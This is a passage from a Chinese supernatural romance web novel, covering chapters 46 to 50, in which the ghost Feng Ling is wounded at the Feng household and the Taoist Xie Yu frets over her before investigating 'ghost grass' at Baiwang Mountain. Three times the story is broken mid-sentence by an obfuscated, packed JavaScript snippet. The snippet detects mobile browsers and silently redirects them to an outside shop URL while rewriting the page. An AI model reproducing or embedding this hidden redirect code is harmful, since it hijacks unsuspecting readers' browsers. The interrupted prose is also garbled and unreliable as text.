凶狠的劲风直扑向面门,将酆父的眼睛刺得生疼。不受控制地合上眼帘,酆父凭着印象中的方位,将一直握在手里的剑高高抬起,改挥为刺,同样恶悍地回击,却又出乎他意料般扑了个空,刺痛的阴风也在下一刻跟着消失。 酆父感觉不妙地抬眼,只看见素纱白衣的封灵停在距他五步开外的地方,正眉眼弯弯地注视着自己,左手食指上勾了枚坠着穗子的玉玦,有一茬没一茬地转圈把玩着。 玉玦?! 酆父大惊失色,下意识往怀里摸去,不出意外地掏了个空。那女鬼拿在手里的,果然是他的玉玦! “鬼娘子原也有偷人贴身之物的喜好。” 酆父偷鸡不成蚀把米,此刻也再维持不住面上平静,颇有些咬牙切齿。 封灵笑得更是开怀。她本意就是为了这枚玉玦而来,谁知刚才东翻西看了好一阵也没个踪影,若不是酆父的衣襟恰好被勾魂索破了道口子,被她看出了一点端倪,说不定还真要空手而归了。 “多谢国师赠物。今日天色已晚,我便不打扰国师安眠了,”封灵丝毫不在意眼前人的挖苦,在听到更夫又一次的竹梆子声后,更是不带迟疑地道别,“改日再来问候国师!” 重新拿出折扇,封灵利落地扬起罡风。即将从屋内消失的前一刹,有什么东西从酆父的身后冒了出来。又在他惊惶不明的一连串呼喊声中,伸出皮肉贴骨的干瘦腕臂,目标明确地为抓搡封灵而来。 变故便是在一刹那间发生的。 封灵本欲什么也不管地离开,却在这时候突然不受控制地跌了扇子,连消失在空中也办不到,就这样生生受了那不明来路的怪物一计抓击,肩膀上留下五个深可见骨的指洞,边缘间还萦缠着腥臭的血气。 封灵疼得倒吸一口冷气,身体不受控制地落回地面。一手捂住伤口,一手借力般搭在自己的膝盖,大喘了几口气才稍有缓解。她虽跟解玉说过,自己已不太能感觉的到疼痛了,但这一次委实伤得有些厉害了,便是找鬼裁缝缝针,也不是一、两日能修补好的…… 封灵勉力抬头,本想看清楚偷袭自己的是个什么东西,却无奈眼前一阵发黑,只能勉强窥见身前的几缕玄色织物。 绝对有古怪。 那个东西出现以后,她身上的鬼气竟有一瞬间的消失,通身无力到更是连个手无缚鸡之力的书生也不如……若非如此,她怎会毫无反抗之力地被其抓伤,又如此狼狈地跌在地上! 此地不宜久留。 封灵的脑子里飞快转过这个念头,而后趁其不备地召回跌在脚边的折扇,咬着牙再度旋起新的罡风,勉力从这座家主院离开。 “……灵,归……儿,家……” 彻底被罡风包裹住身体前,封灵的耳边再度传来熟悉又陌生的声音,和这句不明意味的低语。 47. 我会心疼 撑住一口气从酆家出来,封灵在空中盘旋了好几圈,却不知该往何处…… 北地城隍庙是暂时不能回去了,乌贺就在里头呆着呢。她只要一回去,受伤的事情绝对瞒不过去,指不定还会发现她与生人打架的另一桩事。地府也不行,回去了同样会暴露,甚至比乌贺知道了还惨,直接就会断了她来人间的希望,到时候解玉可怎么办! 左右思忖之间,封灵肩膀的痛楚更甚,指洞四周的血气隐隐有向外扩散的趋势。非人非鬼的东西,也不知在哪里修来的诡异术法,竟延缓了她自己用鬼力修愈伤口的速度。若不找个地方停留些时日,她这伤一时半刻地怕是难好…… 天色将明,封灵视线越过高低错落的凡世庭院,在心底有了主意。 …… 解玉在客栈歇了一夜,又从临近的摊位上买了些干粮果腹,这才继续往百望山而去。离开望京已有三日,算了下脚程,他大概明日就能抵达约定的那座村镇,倒比此前预计的还要早上一些。 他原本是不打算费钱住客栈的,但不想出发的第一日夜半,他正在郊外露宿酣眠之时,心口却毫无征兆地绞痛了数刻,险些叫他以为自己快没命了。直到天明时分,这股莫名涌出的疼痛才总算消失,可身上却没有一丝伤痕。 解玉思来想去,只能猜测是自己前段日子为抓鬼风餐露宿的太狠了,身上的伤虽然没有大碍,可内里或许还没将养好,这才无端心痛起来。是以之后两日,解玉只要行经有人烟的地方,他都尽量让自己住进能够遮蔽风雨的内室。 确实比露宿荒野舒坦,可花的银钱却翻倍了。解玉一面走着,一面摇头叹气,却突然听到了纪苏文的声音—— 「解道长,你如今走到哪里了?」 解玉有些奇怪地停下,一时不解其意。 他本来与纪苏文的接触不多,虽留有符纹也只为定位之用,但因为这段时日频繁的抓鬼驱邪,彼此间也熟络起来。纪苏文并不能像封灵一般直接给解玉留下符印,也不能按鬼差的方式以纸鹤传信,最后便给了块可以传递简单声语的木牌,以便临时性的联络。 今日倒是第一次用。 解玉将手摁在木牌上,大致估摸好自己的方位,又简短地传讯过去。瞬息过后,便看见纪苏文出现在了自己眼前。 “纪鬼差,你这是……” 难道是出了什么急事,又或是哪里又有新的鬼祟了,否则怎么这时间突然过来了? 解玉在心底猜测道。 “解道长,鬼师娘娘她、有些不太好,你是否得空跟我回一趟莫县……放心,不会误了你与那酆姑娘的约定的。” 解玉一瞬间如至冰窟,恍惚间竟不知自己身处何地。强撑着有些发软的手脚,解玉靠着所剩无几的理智催促着纪苏文带他回去,以至于忽略了前者根本称不上急切的声音。 …… “封灵!” “……这东西一点用都没有,我不喝!” 解玉脚下不停地奔进侧屋,还来不及喘匀气,便听见封灵堪称中气十足的一声拒绝,顿时愣在了原地。 这怎么和纪苏文说的,不太一样…… 封灵偏头躲过孟婆凑近嘴边的药碗,又推开蔺秋茹递到手边的果子,抬眼便看见解玉焦急的身影和脸上错愕的表情,同样愣住了。 这家伙不是该在去百望山的路上么,怎么会来了莫县,还知道她在纪苏文这里…… 封灵若有所思地朝解玉身后望去,果不其然探见了纪苏文的身影。不必猜了,定是他把人带过来的,也不知道路上都说了些什么,竟把解玉急成这样。 封灵长长叹了口气,深觉自己跑到莫县养伤的决定十分错误。 她本想着,纪苏文自己就要躲避地府的寻踪,又有阎魔王近乎摆在明面的偏帮,在他家附近找个地方休养几日该是不成问题。哪想刚一现形,纪苏文便因自己肩上斗大的几个指洞肃了神色,反过来劝说封灵先返地府,也好在鬼气充裕的地方养伤。 封灵自然不肯。 僵持间正好遇上跑到人间看望玄孙的阎魔王。这位阎王老爷显然还记挂着上次封灵让他穿粗布麻衣的事情,见到封灵受伤的第一反应竟是先嘲笑一通,而后才在纪苏文的恳托下勉为其难地答应帮忙,又回了地府去取鬼裁缝的针与皮。 最后上来替封灵治伤的,却是孟婆。 也不知道阎魔王是怎么撞上孟婆、又是怎么同她说的,总之,泰媪大人出现在纪苏文的住处时脸色十分难看,更在看清封灵的伤口后罕见的生了大气。若不是被红衣鬼苦口婆心地劝说拦下,只怕立刻就要去找那害封灵受伤的始作俑者算账。 至于蔺秋茹,则是被纪苏文找来故意守着封灵的,也是怕职属地府的孟婆会借故为难封灵,又或是只她一个忙不过来。而蔺秋茹虽又一次忘了封灵是谁,但仍是不变的热心肠。一听说封灵在山间被野兽袭击受了伤,立刻连床榻也不许她下了,全然不管封灵受伤的地方其实在肩膀。 所以才会有解玉进来时看到的一幕。 “……我都说了会去百望山找你的,”封灵拧着眉,“解道长,你这会儿跟着纪苏文跑过来做甚?” 鬼师娘娘说话铿锵有力,解玉听到后反而松了口气,近前两步正要解释,却听见孟婆在一旁阴阳怪气地开口—— “才把肩上的几个血窟窿治好,你倒是立刻生龙活虎起来了,还不能下地便想着要到处跑了。真是令人佩服。” 因蔺秋茹还在屋内,孟婆的话并没有说的太过直白,但解玉哪里会听不懂——从来把小鬼压在地上打的鬼师娘娘,这一次与他分开后也不知道去干了什么,在打斗的过程中竟落了下风,还受了不轻的伤! 解玉不发一言地走到封灵跟前,眼睛不住地在后者身上逡巡,尤其在肩膀两处停留的时间最长。 孟婆捧着还盛有药汁的汤碗,朝一站一坐的两道身影各自扫了眼,颇有自知之明地拉起蔺秋茹,随意扯了个由头便要离开。临走前还不忘将手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361057|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药碗转递到解玉手边,要他守着这个不听劝的把药喝了。 纪苏文甚至贴心地带上了门。 “鬼大王……” 只剩他们两个的窄仄空间里,沉默一点点在彼此之间蔓延。最后还是解玉先开了口,却又被封灵毫不留情地截断,“闭嘴!” 半卧在床上的鬼师娘娘气势不减,先恼怒地赏了解玉一道白眼,跟着又不解气般挥出几缕微芒,看着它们一点点消散在半空后,方才朝解玉勾手示意,“解道长活到现在,连隔墙有耳的道理也不知道么……有什么要问的,这会儿可以开口了。” “……你的伤,是、怎么回事?” 解玉其实憋了许多的问题,可通通到嘴边前被他自己又咽回去了。封灵虽自傲于她的一身本事,却从来不是瞻前不顾后的性子。而能在人间将她打伤的,也一定是带了什么让封灵感兴趣的,否则以这只鬼的暴脾气,定是要先狠狠回击,而不是老实留在此地休养生息。 想起这段时日他和封灵关注的东西,解玉的眸色不由得沉了沉。 这倒没什么好隐瞒的。封灵调整着给自己换了个姿势,好让肩膀靠得更舒服些,三言两语地跟人交代了个清楚,却收获了后者不赞同的目光。 “明知道他是在瓮中捉鳖,你还、还——” “你才是鳖!” 封灵不满地横了人一眼,咬牙切齿地将话截断,“还有,你刚才进来时喊的我什么?平日里倒一口一个鬼大王的叫得尊敬,这会儿竟敢对我连名带姓起来了!” 解玉却丝毫不理,就着刚才未说尽的话继续道:“可结果就是你受伤了,封……鬼大王!” 封灵见转移视线失败,原本高昂的气势一下子弱了起来,尤自强撑道:“我又不是没受过伤,而且孟婆也帮我养的差不多了……我自己都不觉得有什么,你一直抓住不放做甚!” “因为我会——” 因为我会心疼。 解玉几乎就要脱口而出,却又在那双红眸前生生咽了回去。眼下并不是说这种话的好时机,等他有资格与封灵站在一起的时候,再开口也不迟。 “……因为什么?” 封灵警惕般的抬头。 解玉垂下眼,嘟囔了一句没什么,而后突然想起自己前两日无由来的心痛,又立刻追问了一句,“鬼大王,你是什么时候受的伤?” “就你出发的那日……你白日里走,我入夜便去了酆家。” 封灵啧了一声,眉心拧出几缕若有若无的躁烦,显然是回忆起了自己被打伤的经过,开始不耐烦起来。 时间能对的上…… 解玉心中苦涩更重,后悔自己当时怎么一点觉察也没有。若能问一句封灵,也不会到纪苏文来找他时才知道这一切了。 他还是太差劲了。 要是能帮上封灵就好了,要是可以代替封灵找出她想要的答案就好了…… 解玉想着心中亟待求证的那件事,一点点打定了主意。 48. 不耐休养 解玉盯着封灵过分惨白的侧脸,贴住碗壁的指节微微有些收紧。大抵做了鬼的都是这样的肤色,可解玉今日却觉得格外刺眼,只觉得跟这次的受伤脱不开干系。 “鬼大王,这个……” 想起孟婆离开前的叮嘱,解玉连忙将手里的药碗递了出去,全然无视封灵一瞬间变差的脸色。一人一鬼僵持了片刻,还是封灵先败下阵来。不情不愿地接过药碗,又拈起里面的羹勺搅弄几下,鬼师娘娘试图为自己分辩,“我受的只是外伤,口子也都被孟婆补好了,就是看起来虚了点而已……这药虽也是给鬼喝的,可对我真没那么重要……” 解玉敷衍般的嗯了几声,盯着封灵明显磨蹭的动作又继续催促起来,“……鬼大王,你说的都对,但要再不喝,这药就真的凉了。” 这家伙根本就没听自己说了什么! 封灵气的牙痒痒,搅弄汤药的动作不自觉粗暴了起来,勺柄与碗壁碰触着发出清脆的一声鸣音。某位封姓鬼师狠狠剜了眼满脸无辜的解道长,仰头将自己推拒了许久的汤药一饮而尽。 解玉一下子便笑开了,接过封灵扔回来的空荡荡的汤碗,反手搁回桌面,开口尤带三分的试探,“鬼大王,酆家那里……” 方才寥寥数语,他只知道封灵单独去了趟酆家,知道她被不知人鬼的东西伤了,却不知道她找到了什么,又发现了多少的线索。 是不是也看到了他之前看到的东西…… 抬起食指比在嘴边,封灵摇着头朝人做了个噤声的手势,“又忘记我与你说的了?等到了百望山,你与那酆灵英见过面了,我再与你细说我知道的……这会儿便先不提了。” “你怎么还想着百望山!” 解玉一下子激动起来,“都伤成这样了,鬼大王,你就不能先安生休养几日吗!” 而后被红眸威胁似的一扫,解玉有些发热的大脑重新冷静下来。心有不甘地坐回封灵榻边,男人将脸别到一边,抿着嘴道:“我的意思是说……你留在纪鬼差这里养伤就好,百望山那边我自己也可以的。” “不成。”封灵的态度同样坚决,“这一次除了酆灵英,她爹也会同去百望山。那凡人身边跟了个不人不鬼的东西,我就是被它偷袭才会受伤的。你本就跟酆家人有过利害冲突,如今又与他们的少家主过从甚密,万一再被发现了我与你的关系……你一个人去我不放心。” 这当然是真心话,可也不过是原因之一罢了。封灵虽拿到了那枚玉玦,可除了看着眼熟以外,并没有为她增添更多的线索。反倒是伤到她的那家伙,身上还有不少古怪的地方,她非得再去探个究竟不可。 当然了,最重要的原因还是在于—— 她好歹也在地府叱咤了小一千年,今次竟被人间一个不知从哪冒出来的家伙给伤了,若传回去,她鬼师娘娘四个字还有什么威慑力! 至于其他的,便让解玉继续从酆灵英身上下手好了。 封灵瞥了眼欲言又止的解道长,开始冷酷无情地赶起人来,“行了吧?我如今的样子你都看到了,孟婆的药我也喝下去了,你可以继续去百望山了,我后日自会去找你的。” 解玉没想到封灵如此干脆,甚至不等他反应过来便挥袖将自己驱离了榻边。踉跄两步站稳,解玉难以置信地指着某位封姓鬼师,语带控诉地开口:“我才过来不到半个时辰,你就急着撵我走了?!” 亏他这一路上提心吊胆,还险些把自己吓了个半死…… 封灵一挑眉,说的理直气壮,“你在这里又不顶用……孟婆、纪苏文他们,哪个不比你靠谱多了?你留在这里,我还得替你在秋茹姑娘那边想个由头,太麻烦了!你还是去找酆灵英吧,最好在我到之前多问些情况出来,也给我省些功夫,听明白了么?” 解玉的眼角隐隐有些抽搐,指着封灵的指尖也开始不住地颤抖起来,却又不得不承认这番话说的有理有据。片刻后恨恨放下手,深吸一口气后,又扯出一抹谈不上好看的笑,咬牙切齿道:“鬼师娘娘说的在理,解某受教了。” 封灵轻飘飘地嗯了一声,很是满意解玉的答复,又抬着下巴朝屋外示意了一眼,暗示意味明显。 “……那我走了?” 解道长脚下动了两步,还是不死心地又问了一句。 “欸,等等!” 封灵突然喊了起来。 后者立刻停在原地,带着希冀的目光直勾勾地朝红色影子望去。 “……差点忘了,”封灵小声嘟囔了一句,抬手撤下最开始为遮掩声音布下的屏障,又送了道徐徐微风将紧闭的屋门打开,“刚才图方便,布的是断绝里外的障道,外面的东西进不去,里面的人出不来。若有谁想要强闯,立刻便会被绞成一团血泥……这下你可以走了,不必担心自己会被伤到。” 封灵弯起两弯笑眼,想起一茬便又补充一句,“还有,既是纪苏文找你来的,便让他再送你回去……还是送到你被带走时的地方,千万别误了你跟酆灵英的约定。” 她这哪里是在担心人,分明是怕自己半道上撂挑子了…… 解玉无语凝噎。 “鬼师娘娘,您这就和解道长说完话了?” 眼前屋门突然打开,坐在院外等候的纪苏文便在孟婆与蔺秋茹两个的有意撺掇下走了进来,看见解玉一副马上要离开的样子,颇感觉奇怪地开口。 “……我还有些事情要处理,不好在莫县多留,便只能先行一步了。” 顶着身后灼灼逼人的注视,解玉只得自己扛下了所有,面色如常地替封灵想好了所有说辞。若是纪苏文能留一留他便好了,他也可骑驴下坡,再多呆些时候……解玉苦中作乐地想道。 “这样啊……那我便送解、公子离开吧。” 纪苏文先看了封灵一眼,见她并没有想要留人的意思,便也闭了嘴不再多问,只为难地朝解玉一笑,又客气地带解玉出去。 花圃边,正聊着什么的孟婆与蔺秋茹一见解玉出来,面上皆难掩失望之色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368701|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。孟婆盯着前者空无一物的两只手,像是发现了什么般询问道:“小子……咳,解公子,封灵儿可老实把药都喝了?” 解玉是第二次见到孟婆,尚不清楚这位鬼神的喜恶脾性,只能简单的点了点头,又答了句是。 孟婆一下子便笑开了,又回头朝蔺秋茹眨了眨眼,像是验证了什么般,后者也跟着露了抹灿烂的笑。 并不知道眼前两位女子在打什么哑迷的解玉只能茫然的与纪苏文一对视,又从后者同样困惑的眼神里收获到了几丝安慰。 “……秋茹,我将解公子送到山脚后便回来,”纪苏文看不明白,便索性先说起自己的安排,“封姑娘这里,就辛苦你多照顾些了……也烦劳孟、姑娘了。” 纪苏文显然还不习惯如此称呼孟婆。毕竟还在地府的时候,这位泰媪大人称得上是资历深厚,虽终年守在奈何桥,却是自酆都大帝统管地府时便跟在身边的鬼神了,更是十殿阎王见了也得客客气气对待的存在。 这样的大“人”物,如今却因为封灵来了人间,还视若无睹般落脚在他藏身的小院,实在是有些纳罕。 蔺秋茹自然不知道她家纪郎的纠结,只笑着应了一句,又极度自然地挽过孟婆的手,有说有笑地进了侧屋,预备着给躺里面的鬼师娘娘继续解闷去了。 “解道长,我本想着……算了,我还是送你回之前的地方吧。” 目视着蔺秋茹的背影消失,纪苏文这才改回了称呼,又有些不好意思地开口。 实在是封灵刚来时伤的可怖,全然不见平日里的游刃有余。后来虽也有阎魔王与孟婆相助,这位脾气暴躁的鬼师娘娘也是不配合的次数居多,尤其是在被孟婆补好伤口后。自觉算养好了身体,便一时半刻地都不愿安躺在卧榻之上,还把孟婆气得摔了好几次的碗。 纪苏文会找上解玉,便是觉得前者在顺鬼师娘娘脾气的这条道上无人能出其右,不曾想他前脚才把人带过来,数刻钟不到的工夫,便又要把人送回去了。 真是奇哉,怪哉。 “那就有劳纪鬼差了,但……解某还是想多问一句,”解玉拉着纪苏文朝外走了几步,方压低着声音打听道,“鬼大、鬼师娘娘当时伤的严重吗?” 他进屋后虽已经打量了一圈,又从孟婆嘴里知道了封灵受伤的地方在肩膀,可毕竟男女有别,封灵问起来又一副无关紧要的表情,他实在分辩不出这伤对鬼而言厉不厉害,无奈只能求助纪苏文。 “……对鬼来说算严重了,五个指洞深可见骨,稍动一下便会撕裂得更大。好在有泰媪大人帮忙,这才将伤口补的一点痕迹也看不出来。”纪苏文实话实话,“但对鬼师娘娘来说就未必了。她这一千年里,跟不计其数的凶煞恶鬼打过交道,受伤的次数更不知凡几。只论这次受的伤,并不算她所有经历中最严重的。” 解玉的脸色在纪苏文说话声中一点点变得惨白,最后只勉力道:“我知道了。” 心中摇摆不定的念头愈发坚定起来。 49. 故人何处 “……解公子请看。” 酆灵英摊开一卷书轴,点着其中早已褪去墨色的几处文字道:“这是我在藏书阁中找到的一本游记,撰记的是各地古村风光。其中于生息村一节里,提到了鬼草和酆氏女几个字,事迹都能与先祖对应得上,我便猜想或许就是同一个人……” 解玉凝眸看去—— 【……逢北地有遗民,聚湖山而落建为族群,名曰「生息村」。村中有鬼草,又称幽灵草,无枝无叶,花落生果,通体皎白似玉,夜则泛光莹莹。其香可惑人,其根可辨鬼。余尝往而探之,答曰乃神草,为酆氏女殒于鬼祸时灵气溢散、血肉吸食而成,今已不复存焉……】 这样的东西,竟也敢被称为神草…… 解玉的表情有一瞬间的难看,而后又询问道:“酆姑娘,这上头说生息村是建在湖山周边的,百望山附近却并没有任何的湖泊河流,我们会不会来错了地方?” “这游记的主人已不可考,但此书轴陈旧,上写的文字也是几百年前就已灭亡的某代王朝才盛行的,真实性当是毋庸置疑。再者千年变迁,斗转星移,生息村都已不复存在了,湖泊河流被填平了又有何奇怪?” “但是……” 解玉还欲再问。 “自然,我也不是全无根据地乱猜,”酆灵英当然知道解玉的疑惑,顿了顿又开始解释起来,“前段日子,有猎户在百望山发现了幽灵草的踪迹,真真是夜间泛光,又有引人入幻觉的奇效。” “可按这游记上说的,幽灵草是酆氏女血浇而成的‘神草’,早就不存于世了,”解玉提出自己的质疑,“猎户在百望山见到的,会否只是曼陀罗、乌羽玉,又或是更为少见的死藤呢?” “解公子,你也太小瞧这些在山神手里讨生活的人了。百望山里的一草一木,他们都远比我们更加熟悉……再者,你说的那些可没有一个能在夜里泛光的。” 酆灵英先是打趣,旋即又正了神色,“就算这一切都能造假,那幽灵草辨鬼的效用也是造不得假的……报信的猎户确实误入了一处遍布幽灵草的地方,迷离间更是扯下一株吞进了腹中,而后有了数日的辨鬼之力。过后我也命人打听过,他此前确是一个普普通通的猎户。” 解玉敛目思忖了片刻,“那,猎户所说的幽灵草地何在?何不先去探上一探……还是酆姑娘也已命人找过了?” 后者苦笑点头,“就如桃花源记中的武陵渔人一般,那猎户回了百望山以后,也再找不见当时的入口了。至于我……不瞒解公子,灵英前两日便命人搜过山了,却仍是一无所获。” 连搜山也找不到的地方,凭他和酆灵英两个又该如何去找…… “酆姑娘,你如今可还有其他办法?” 酆灵英既还是将他找来,想来是留有后手的,否则也不必与他在此处对坐许久了。 “那幽魂草既说是吸食先祖血肉而成,想来会喜好尸山埋骨之地,”酆灵英嘴角勾起一抹笑弧,“解公子莫不是忘了,我酆家今次来百望山是为了什么?” 解玉怔愣一瞬,旋即反应过来。他只记着那位女先祖的事情,竟忘了自己是以什么理由被酆灵英邀来此地的。 酆家既要为了自家的祖坟探穴定位,那最后选定出来的,一定是最适宜幽魂草生长的地方。 而在那地方之下,或许就是…… 解玉精神顿时一振,总算感觉到这条前路上的些许明晰。若是一切顺利,封灵那边的困惑当也可解了! “酆姑娘既然把一切都计划明白了,又何必非要找上解某?” 短暂的激动过后,紧随而来的却是不受控制的怀疑。解玉垂下眼睑,一并遮去眼底的诸般深思,顿了顿却又干脆挑明。 他赌自己认识的酆灵英,不是那等会挟故算计的阴谋小人。 “……我担着少家主的身份,那日或许没办法分出其他任何的精力,”酆灵英抚过书轴上的几段文字,而后缓缓将其合上,“而酆家的其他人,也不会在乎一个连名姓都不曾留下的先代女子。” “那日搜山,已是我倚仗少家主的身份下的严命,可偏偏无功而返,家中有些人已对我存了不满,”酆灵英眼中闪过几丝躁烦,“后日是为迁移祖坟的大事,我须得全部参与其中,否则便是不孝了,还会给那些不满我的人递上筏子……” 酆灵英没有再说下去,但解玉大概也能猜出她的言下之意。无非是她在酆家的地位也还不够稳固,并不能由着自己的想法做事,偏又没有其他可以托付信任的人,便找上了因折扇之故而与她有了联系的解玉身上。 但这话却不好直接说出来,否则便会有图谋与利用之嫌,可这些对解玉而言却是无所谓的,他也是抱着不纯粹的心思与酆灵英一路结交的。两个各怀鬼胎的人,为了彼此心底的那一点私心,才更能合作的长远。 “酆姑娘放心,我那日定会多加关注周遭情况的,但有什么不对劲的地方,一定与酆姑娘你同说。” 解玉打定了主意,便也爽快应下。 酆灵英松了口气,这才又吐露出另一桩事来,“……解公子,那日来的,除了我酆家的人以外,太子与一些皇子亲王也会同临,守卫或许会更加森严,还请解公子多见谅。” 解玉眉心微动,想起太子这几月始终不断的小麻烦,带着几分提醒,又朝酆灵英道:“都说酆家是忠君爱国之家,历代国师更是全然效忠于皇帝陛下。如今太子与诸位皇子又愿为酆家迁移祖坟之事屈尊而来,或许能成就一桩君臣和的美谈呢!” 酆灵英哪里听不出这套说辞的深意,带着几分被捆住手脚的为难,女子的声音倦累而无可奈何,“……我如今,是再说不出太子的事情与酆家无关的话了。” 自当日从解玉嘴里听了那许多的话后,她便也在心底种下了疑根,而后也确实看到了许多她一度忽视的东西。有些事情,她也并不是全然无所知,可到底念着一家所出,许多时候她也无法真的狠下心肠,最后便成了高高举起轻轻放下…… “看来酆姑娘是查出些端倪了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387935|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为太子的事已在酆灵英这里打住,不曾想竟还有被主动提起的一日,且酆灵英心底似乎也已有些数了。 “只要想知道,哪有什么是真能隐瞒的。” 酆灵英没有否认。 “但解某观酆姑娘的脸色,似乎仍带着不少的顾虑,想来是还有许多难办却又不得不去改变的事情。” 虽然有封灵在背后指使,但好歹也是自己戳破的窗纱纸,他还是宽慰几句好了。 解道长的心底升起一丝惭愧。 “解公子眼光毒辣,灵英如今确实有许多的为难之事,”酆灵英摩挲着手里的书轴,“但也不过眼下罢了……早晚有一日,灵英会成为酆家的家主,会接任国师的位子。彼时,酆家便只会是效忠君上的酆家,再不会因任何人、任何事而有所更改。” 解玉没有吱声,事实上也不需要他再说些什么了。酆灵英看似坚定,实际与前些日子的他如出一辙,乍一看是下定了决心,可实际还在为一桩事、一个人踌躇不决、徘徊反复。 否则,酆灵英也不会不敢看他,甚至将自己的决心寄望于虚无缥缈的以后了。 “那解某,便预祝酆姑娘心想事成,此番如愿以偿。” 最终,解玉只如此道。 “……多谢。” 两人默契地不再言论此事,又将话题绕回了后日的各项安排上,直到暮色西沉,彼此间才道别离去。 …… 封灵出现在百望山时,酆家的仪式还尚未开始。一群人各怀心事地分散而立,又不动声色地划分着彼此的阵营,只挑着身边的人窃窃私语、交际应酬。 红眸左右张望了几眼,封灵意外地在太子身边发现了解玉的踪影。 身为一国储君,这位太子殿下的身边并不缺人,甚至连暗地里动过手的酆家人也依旧满脸铺笑的谄媚奉承,但解玉依旧是一众人当中距离太子最近的,而太子也总愿意侧过身体与解玉说话,看起来便是极其信任的。 在她看不见的地方,解玉似乎将人间的各种关系处理得极好。不论是天潢贵胄,还是平头百姓,他都全然能够应对……看来,自己的担心还真是多余了。 封灵本想故技重施,飘到解玉的身后,再把人吓个一跳,可看着解道长在人群中光彩熠熠的模样,又有些舍不得了。这家伙好不容易才搭好的戏台子,若被她这一吓给拆掉了可怎么好? 还是算了。 封灵遂偃旗息鼓,改用自己留下的符纹呼唤起人来。不过瞬息工夫,便看见解玉自太子身边离开,又毫不迟疑地走到自己的身边。 “鬼大王!” 她听着解玉对自己始终不变的称呼,看着男人背对一众人群站立在自己面前的模样,早已不会跳动的心里生出一股莫名的情绪。 这样似乎……还真挺不错的。 “嗯。” 封灵一如既往地简单应声,看向解玉的眼里却是毫不掩饰的笑意。 她似乎,真的习惯身边有他了。 50. 寻踪觅痕 虽已从太子的身边离开,暗地里审视解玉的目光却没有断绝,更有几个酆家人在远处指指点点,小声议论着什么。 封灵在一旁看得啧啧称奇,到这时才惊觉解玉是真在望京混出些名堂了,居然已经惹眼到有人开始眼热了。 也不知道这家伙刚才的一声唤,有没有被哪双眼睛给注意到……若只把解玉当成胡乱发疯、言行无状的怪人还好说,若是被察觉到他与自己的关系便不好办了。 保不准,又要被酆家的人给记恨上。 红眸环视了一圈,除了外围的几名酆家门生以外,酆灵英和她那个行为诡异的父亲都还没出现,只不时有手捧罗盘的术士在各处停停走走,探测方位。 封灵遗憾地收回视线,又朝解玉抬了抬下巴,转身离开了这人喊马叫的地方,预备着等她要找的人出现了再重新过去。 “鬼大王,你的伤好些了吗?” 解玉保持着不紧不慢的步调,一直跟着封灵走到某处僻静丛地之后,借着身后有粗胖的树干做遮挡,这才忙不迭地询问起来。 “……都说了没事了,”封灵朝人翻了个白眼,刚见到解玉时的好心情顿时消散,“你莫不是还想让我当着你的面宽衣解带,以便亲眼确认下我伤口的好坏?” 红衣鬼师显然被问得烦了,毫不客气地拿解玉从前挂在嘴边的男女大防来堵人,果见后者一下子燥红了脸,结结巴巴的再不敢继续追问。 耳根子终于清静下来,封灵惬意地抻了抻懒腰,却在肩膀舒展开的一瞬间僵硬了下,旋即又若无其事地放下。趁着男人还面红耳赤地不敢看她,封灵迅速地寻了别的话头,“酆灵英那边,你可问出什么新动向了?” 解玉也为能够脱离窘况松了口气,又生怕被绕回来般迅速开口:“前段日子,在百望山里发现了幽灵草,酆姑娘便猜测与她家那位女先祖有些关系,又托我今日多注意些。” “……幽灵草?” 封灵莫名其妙,“那不就是长在黄泉路边上的野草么?孟婆最烦这些东西了,哪里都能冒出来,除又除不尽,烧又烧不掉,比曼珠沙华还难弄。” 解玉啊了一声,“可那游记上说,是酆氏女淌在地上的血浇灌而成的……” “那东西确实喜欢啖食血肉,还会为了吃人的魂魄,故意散出香气勾引新鬼,好叫他们沉湎于生前的美好回忆,留在虚妄的梦境中永不复醒。” 瞥了眼明显呆滞的解道长,封灵好心肠地补充了一句,“至于你么……便不必担心了。等你死的时候,我一定会亲自去接引你的,保管让黄泉路上的那些脏东西距你三尺开外。” 被鬼师娘娘“等着死”的解道长嘴角又开始抽搐起来,须臾语气虚弱地发出一声感谢,强打着精神又细问起幽灵草的事来—— “但若幽灵草是地府之物,那游记里所说的桩桩件件,岂非都是假的了?” 解玉一时有些头疼,暗忖着今日不会又无功而返吧…… “倒也未必,”封灵故意卖了个关子,看着解玉暗淡下去的眼眸复又升起光亮,这才舒眉展笑地开口,“黄泉路连通人间与地府,本就是人鬼共存之地,长在那里的幽魂草自然也能够出现在人间……细论起来,这种贪食血肉的野草,一年中总有个三、四十日生长在人间,直把自己养得肥厚健壮了才会回去。” ”那……” 解玉的眼里燃起一丝希冀。 